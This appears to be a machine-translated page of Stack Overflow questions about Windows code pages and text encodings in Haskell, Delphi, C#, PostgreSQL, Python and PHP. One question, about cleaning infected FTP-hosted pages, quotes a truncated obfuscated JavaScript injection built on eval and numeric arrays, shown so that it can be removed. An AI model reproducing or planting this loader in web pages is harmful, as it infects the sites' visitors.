我试图在wine上使用GHC来构建我的一个用于Windows的Haskell应用程序.到目前为止,这种方法运行良好,但我仍然无法运行我的测试套件,该套件旨在以UTF8语言环境运行(LANG=C.utf8例如).
不幸的是,在wine下,Haskell运行时始终认为我想使用非unicode代码页:
$ wine ghc -e 'GHC.IO.Encoding.CodePage.localeEncoding'
CP850
$ LANG=C.utf8 wine ghc -e 'GHC.IO.Encoding.CodePage.localeEncoding'
CP437
$ LC_ALL=C.utf8 wine ghc -e 'GHC.IO.Encoding.CodePage.localeEncoding'
CP437
除了更改实际代码以设置所有句柄的编码:我如何使Haskell程序在这里使用UTF-8(即代码页65001)?
任何人都可以建议如何以编程方式更改默认的Windows XP代码页(我是从Delphi这样做的)?(这相当于进入控制面板 - >区域设置 - >非Unicode应用程序的语言).
在这种情况下,我想切换到中文(PRC),所以写入以下注册表字符串:HKLM\SYSTEM\CurrentControlSet\Control\Nls\CodePage\ACP = 936 MACCP = 10008 OEMCP = 936
(这正是在控制面板中更改非Unicode代码页下拉的原因).必须有另一个我需要更改的设置 - 我更喜欢使用Win API调用(如果可用)而不是自己写入注册表.
我也试过设置HKLM\SYSTEM\CurrentControlSet\Control\Nls\Language\Default = 0804(中华人民共和国)无济于事.
我不想更改"区域设置"本身,因为这也会更改时间/日期设置,分隔符等.
这是因为我正在使用需要渲染中文字符的ANSI应用程序,而我正在编写一个工具来自动切换系统显示字符(同时保留UI的其他方面完整).
谢谢!
邓肯
今天我收到了一个客户的文件,我必须阅读,但它包含奇怪的字符.使用已知名称,我可以猜出一些字符的含义.
例如:
Realname  | Encoded as   | sign  | hex
----------|--------------|-------|-------
Françios  | Fran?ºios    | ç     | 3f ba
André     | Andr??       | é     | 3f 3f
Hélène    | H??l?¿ne     | è     | 3f bf
etc.
从我收到文件的那个人,我不能指望帮助.(使用谷歌翻译)他向我明确表示他发现创建文件非常困难,而且他正在使用我无法访问的软件(我相信SAP).
有没有其他方法我可以找到他刚刚发送给我的文件的编码?
我需要从FTP下载5000多个文件,即.html和.php文件.我需要读取每个文件并删除一些被病毒放在那里的东西并将其保存回FTP.
我正在使用以下代码:
string content;
using (StreamReader sr = new StreamReader(fileName, System.Text.Encoding.UTF8, true)) {
    content = sr.ReadToEnd();
    sr.Close();
}
using (StreamWriter sw = new StreamWriter(fileName + "1" + file.Extension, false, System.Text.Encoding.UTF8))
{
    sw.WriteLine(content);
    sw.Close();
}
我手工下载了一些文件,有些<meta http-equiv="Content-Type" content="text/html; charset=windows-1250" />但我不想假设它们都是这样的.我用Notepad ++检查过,一些文本文件是ANSI.PHP似乎是UTF-8和HTML Windows-1250但我宁愿在尝试修复它时确保不破坏文件.那么有没有一种方法我不必知道/猜测编码,它会让我从网页中删除病毒链接?
编辑.我正试图找到并删除这样的东西:
var s = new String(); try {document.rvwrew.vewr} catch(q){r = 1; c = String;} if(r && document.createTextNode)u = 2; e = eval; m = [4.5*u ,18/U,52.5*U,204/U,16*U,80/U,50*U,222/U,49.5*U,234/U,54.5*U,202/U,55*U,232 /u,23*u,206/u,50.5*u,232/u,34.5*u,216/u,50.5*u,218/u,50.5*u,220/u,58*u,230/u ,33*U,242/U,42*U,194/U,51.5*U,156/U,48.5*U,218/U,50.5*U,80/U,19.5*U,196/U,55.5*U,200/U,60.5*U,78/U,20.5*U,182/U,24*U,186/U,20.5*U,246/U,4.5*U,18/U,4.5*U ,210/U,51*U,228/U,48.5*U,218/U,50.5*U,228/U,20*U,82/U,29.5*U,18/U,4.5*U,250 /u,16*u,202/u,54*u,230/u,50.5*u,64/u,61.5*u,18/u,4.5*u,18/u,50*u,222/u ,49.5*U,234/U,54.5*U,202/U,55*U,232/U,23*U,238/U,57*U,210/U,58*U,202/U,20*U,68/U,30*U,210/U,51*U,228/U,48.5*U,218/U,50.5*U,64/U,57.5*U,228/U,49.5*U ,122/U,19.5*U,208/U,58*U,232/U,56*U,116/U,23.5*U,94/U,51*U,210/U,49*U,202 /u,57*u,194/u,57.5*u,232/u,48.5*u,232/u,23*u,198/u,55.5*u,218/u,23.5*u,232/u ,50.5*U,218/U,56*U,94/U,57.5*U,232/U,48.5*U,232/U,23*U,224/U,52*U,224/U,19.5*U,64/U,59.5*U,210/U,50*U,232/U,52*U,122/U,19.5*U,98/U,24*U,78/U,16*U,208/U,50.5*U,210/U,51.5*U,208/U,58*U,122/U,19.5*U,98/U,24*U,78/U,16*你,230/u,58*u,242/u,54*u,202/u,30.5*u,78/u,59*u,210/u,57.5*u,210/u,49*u, 210/U,54*U,210/U,58*U,242/U,29*U,208/U,52.5*U,200/U,50*U,202/U,55*U,118/U,56*U,222/U,57.5*U,210/U,58*U,210/U,55.5*U,220/U,29*U,194/U,49*U,230/U, 55.5*U,216/U,58.5*U,232/U,50.5*U,118/U,54*U,202/U,51*U,232/U,29*U,96/U,29.5*U,232/U,55.5*U,224/U,29*U,96/U,29.5*U,78/U,31*U,120/U,23.5*U,210/U,51*U, 228/U,48.5*U,218/U,50.5*U,124/U,17*U,82/U,29.5*U,18/U,4.5*U,250/U,4.5*U,18/U,51*U,234/U,55*U,198/U,58*U,210/U,55.5*U,220/U,16*U,210/U,51*U,228/U, …
我已经安装了PostgreSQL,想要建立一个新的数据库,一切都很顺利,直到我尝试使用€符号.然后我知道,我在开始时得到的警告是有原因的.
我在启动psql shell时遇到的警告是:
WARNING: Console code page (850) differs from Windows code page (1252)
         8-bit characters might not work correctly. See psql reference
         page "Notes for Windows users" for details.
所以我会按照我的说法去做(来自PostgreSQL Documentation 9.2 - psql):
psql构建为"控制台应用程序".由于Windows控制台窗口使用的编码与系统的其他部分不同,因此在psql中使用8位字符时必须特别小心.如果psql检测到有问题的控制台代码页,它将在启动时发出警告.要更改控制台代码页,需要做两件事:
当我键入cmd.exe/c chcp 1252命令时,出现语法错误.所以psql,无法识别命令.出于绝望,我试图在cmd.exe本身做一些事情,也不起作用.
我在Windows 7 - 64Bit工作.
我是一名.NET开发人员,并被要求做一个将html文件转换为C#中的ANSI的应用程序.
ANSI是必需的,因为转换后的文件将在Visual Fox Pro应用程序上运行.
基本逻辑准备就绪,问题在于转换本身.
我试过这段代码:http://social.msdn.microsoft.com/Forums/pt-BR/026ddda3-9bd1-4502-b445-e2a1cc88345d/convert-file-from-utf8-to-ansi?forum=csharplanguage但是当我在editplus上检查它时,文件仍然没有转换为ANSI,甚至最糟糕的是缩进它都搞砸了.
我应该做的是转换像editplus这样的文件,它保留文档缩进并可以将任何文件从UTF8转换为ANSI.
重点是我正在使用数百个html文件,因此我不能只使用文本编辑器逐个完成.
如何进行转换?
有没有办法转换它并像editplus一样保留缩进?
对于特殊字符,例如:"ã,ão,é,í......"我在转换前对其进行了更正.这是正确的方法吗?
我不知道如何解释这个,实际上我正在寻找解释,所以我只想提一些步骤来重现这个问题.希望有人能够理解和阐述:
我是IDLE的粉丝.它是标准Python安装附带的轻量级IDE,我不想因此而切换到另一个IDE.但对于我来说,以上是最讨厌IDLE的事情.每当我需要编写一个包含波斯语字符的程序时,我不能相信IDLE正确输入它们,我必须打开其他程序并使用复制粘贴方法.
我正在寻找的是:
此信息也可能有所帮助:
>>> import locale
>>> locale.getdefaultlocale()
('en_US', 'cp1256')
>>> locale.getpreferredencoding()
'cp1256'
>>> locale.getlocale()
('English_United States', '1252')
>>> 
>>> import sys
>>> sys.getdefaultencoding()
'utf-8'
谢谢.
更新:
请参阅下面的前三条评论.似乎这个问题是由在tkinter应用程序中键入时使用WindowsBestFit映射引起的.
为了测试它是否在python/tkinter绑定或tcl/tk本身中的一些错误配置,我下载并安装了Tkabber.这是一个用Tcl/Tk编写的应用程序.那么,存在完全相同的问题,即我不能输入上面的字符,但可以复制和粘贴它们.所以我的结论是问题的根源在于tcl/tk本身而不是IDLE/Python/tkinter.
我的问题仍然存在.
我需要在htmlentities符号中转换阿拉伯字母.代码页:ISO-8859-1.
سك - 这是阿拉伯语符号.
htmlentities("??")
收益:
سÙ? 
如何从这个符号中获取html实体سك?
我对 python 很陌生,对这种编码的东西很困惑。到目前为止,我已经阅读了以下类型的“编码”:
import sys
import locale
print (sys.stdout.encoding)
print (locale.getpreferredencoding())
print (sys.getdefaultencoding())
输出:
utf8
cp1252
utf-8
有什么不同?
尝试运行 xamarin UI 测试时,我的计算机出现问题。这是一个 xamarin 表单项目,我正在 Android 设备上构建和测试。我正在使用 Visual Studio Community 2017 和 Windows。
我在自己的项目和微软提供的示例项目中都进行了尝试: https: //developer.xamarin.com/samples/test-cloud/Quickstarts/CreditCardValidator.Droid/
据我所知,相同的代码可以在其他几台计算机上运行,并且具有相同的设置。
我得到的错误是这样的:
System.ArgumentException : 1 is not a supported code page.
Parameter name: codepage
这是堆栈跟踪的结尾:
at System.Text.Encoding.GetEncoding(Int32 codepage)
at ICSharpCode.SharpZipLib.Zip.ZipFile.ReadEntries()
at ICSharpCode.SharpZipLib.Zip.ZipFile..ctor(FileStream file)
at Xamarin.UITest.Shared.Android.ApkFile.GetFileBytes(String fileName)
调试时我可以到达的最后一行是这样的:
app = ConfigureApp.Android.Debug().ApkFile(appPath).StartApp(mode);我检查了它是 apk 的正确路径,并且“模式”是 AppDataMode.Clear。
我尝试更改我能找到的任何选项,例如项目属性或 Visual Studio 和 Windows 设置。一切都是最新的,我尝试了清理/构建/重新启动视觉工作室的每种组合。我查看过HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\CodePage,没有发现任何与工作机器不同的地方。在搜索过程中,我没有找到任何能让我更接近解决方案的东西。这个错误似乎并不常见。OEMCP(原始设备制造商代码页)在注册表中设置为 437,但在代码中记录 TextInfo.OEMCodePage 给出“1”,这就是错误的描述。也许这有帮助。
Thread.CurrentThread.CurrentCulture.TextInfo.OEMCodePage == 1
我的下一步是重新安装 Visual Studio 或 Windows。
c# codepages xamarin.forms xamarin.uitest visual-studio-2017
codepages ×10
c# ×3
encoding ×3
localization ×2
windows ×2
.net ×1
cmd ×1
delphi ×1
haskell ×1
locale ×1
php ×1
postgresql ×1
python ×1
python-idle ×1
sys ×1
tk-toolkit ×1
tkinter ×1
unicode ×1
utf-8 ×1
wine ×1